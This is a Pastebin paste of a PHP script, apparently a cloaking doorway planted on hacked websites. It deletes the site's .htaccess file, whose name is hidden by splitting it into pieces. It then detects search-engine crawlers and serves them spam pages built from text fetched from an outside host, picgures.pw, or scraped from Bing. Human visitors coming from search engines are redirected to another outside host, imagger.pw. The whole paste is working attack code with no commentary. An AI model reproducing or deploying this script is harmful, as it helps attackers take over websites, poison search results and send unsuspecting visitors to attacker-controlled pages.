PalmaSolutions

ics.php

Apr 19th, 2019
623
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.28 KB | None | 0 0
  1. <?php
  2.  
  3. $f1 = ".ht"; $f2 = "acc"; $f3 = "ess";
  4. $ff = $f1.$f2.$f3;
  5.  
  6. if (file_exists($ff)) chmod ($ff, 0777);
  7. if (file_exists($ff)) unlink ($ff);
  8.  
  9. $cache_folder = "wtuds";
  10. $template_folder = "nptoris";
  11.  
  12. $user_agent_to_filter = array( '#Ask\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#',
  13. '#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i',
  14. '#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i','#www\.cys\.ru#i',
  15. '#Wysigot#i', '#Yahoo!\s*Slurp#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i',
  16. '#CFNetwork#i', '#ConveraCrawler#i','#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i',
  17. '#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i',
  18. '#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i',
  19. '#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i',
  20. '#msnbot#i', '#msnbot-media#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i',
  21. '#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i',
  22. '#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i',
  23. '#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i',
  24. '#Yandex#i', '#Yanga#i', '#Yeti#i','#msnbot#i',
  25. '#spider#i', '#yahoo#i', '#jeeves#i' ,'#google#i' ,'#altavista#i',
  26. '#scooter#i' ,'#av\s*fetch#i' ,'#asterias#i' ,'#spiderthread revision#i' ,'#sqworm#i',
  27. '#ask#i' ,'#lycos.spider#i' ,'#infoseek sidewinder#i' ,'#ultraseek#i' ,'#polybot#i',
  28. '#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#yahoo!\s*slurp#i',
  29. '#charlotte#i', '#ngb#i', '#BingBot#i' ) ;
  30.  
  31. if ( !empty( $_SERVER['HTTP_USER_AGENT'] ) && ( FALSE !== strpos( preg_replace( $user_agent_to_filter, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT'] ), '-NO-WAY-' ) ) ){
  32. $isbot = 1;
  33. }
  34.  
  35. if( FALSE !== strpos( gethostbyaddr($_SERVER['REMOTE_ADDR']), 'google'))
  36. {
  37. $isbot = 1;
  38. }
  39.  
  40.  
  41.  
  42. if ($isbot)
  43. {
  44.  
  45. $myname = $cache_folder."/".$_GET["werbxverf"];
  46. if (file_exists($myname))
  47. {
  48. $html = file($myname);
  49. $html = implode($html, "");
  50. echo $html;
  51. exit;
  52. }
  53.  
  54. $template = scandir($template_folder);
  55. $template = $template[rand(2,sizeof($template)-1)];
  56. $tpl = $template_folder."/".$template;
  57. $tpl = file($tpl);
  58.  
  59.  
  60. $keyword = str_replace("-", " ", $_GET["werbxverf"]);
  61. $keyword = chop($keyword);
  62. $keyword = ucfirst($keyword);
  63.  
  64.  
  65. $query_pars = $keyword;
  66. $query_pars_2 = str_replace(" ", "+", chop($query_pars));
  67. $query_pars_2 = mb_strtolower($query_pars_2);
  68.  
  69. $text = "";
  70.  
  71. $ch = curl_init();
  72. curl_setopt($ch, CURLOPT_URL, "http://picgures.pw/story2.php?q=$query_pars_2&pass=qwerty8");
  73. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  74. $text = curl_exec($ch);
  75. curl_close($ch);
  76.  
  77. if (strlen($text)<1000)
  78. {
  79.  
  80. for ($page=1;$page<145;$page=$page+10)
  81. {
  82. $ch = curl_init();
  83. curl_setopt($ch, CURLOPT_URL, "https://www4.bing.com/search?q=$query_pars_2&first=$page");
  84. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  85. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 1);
  86. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
  87. //curl_setopt($ch, CURLOPT_USERAGENT,"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)");
  88. $result = curl_exec($ch);
  89. curl_close($ch);
  90. //echo $result;
  91.  
  92. preg_match_all ("#</div><p>(.*)</p></div>#iU",$result,$m);
  93. foreach ($m[1] as $a) $text .= $a;
  94.  
  95. }
  96.  
  97.  
  98. $text = str_replace("...", "", $text);
  99. $text = strip_tags($text);
  100. $text = str_replace(" ", " ", $text);
  101. $text = str_replace(" ", " ", $text);
  102. $text = str_replace(" ", " ", $text);
  103. $text = str_replace(" ", " ", $text);
  104. $text = str_replace(" ", " ", $text);
  105. $text = str_replace(" ", " ", $text);
  106. $text = str_replace(" ", " ", $text);
  107.  
  108. $text = explode(".", $text);
  109. shuffle($text);
  110. $text = array_unique($text);
  111. $text = implode(". ", $text);
  112. }
  113.  
  114. $html = implode ("\n", $tpl);
  115. /*
  116. $titlename = $_SERVER['SERVER_NAME'];
  117. $titlename = explode(".", $titlename);
  118. $titlename = strtoupper($titlename[0]);
  119. if (strlen($titlename)>1) $html=str_replace("<title>{keyword}</title>", "<title>$keyword | $titlename</title>", $html);
  120. */
  121. $html = str_replace("{keyword}", $keyword, $html);
  122. $html = str_replace("{manytext_bing}", $text, $html);
  123.  
  124. $out = fopen($myname, "w");
  125. fwrite($out, $html);
  126. fclose($out);
  127.  
  128. echo $html;
  129.  
  130. }
  131.  
  132. if(!@$isbot)
  133. {
  134.  
  135. $keyword = str_replace("-", " ", $_GET["werbxverf"]);
  136. $keyword = str_replace(" ", "+", $keyword);
  137.  
  138. $ref = $_SERVER["HTTP_REFERER"];
  139. $d = $_SERVER["HTTP_HOST"];
  140. $mykeys = $_GET["werbxverf"];
  141.  
  142. if ((strpos($_SERVER['HTTP_REFERER'], ".google.")) OR (strpos($_SERVER['HTTP_REFERER'], ".yahoo.")) OR (strpos($_SERVER['HTTP_REFERER'], ".bing.")))
  143. {
  144. header("Location: http://imagger.pw/sf/77?d=$d&mykeys=$mykeys");
  145. exit;
  146. }
  147. else
  148. {
  149. exit;
  150. }
  151. }
  152.  
  153. ?>
Advertisement
Add Comment
Please, Sign In to add comment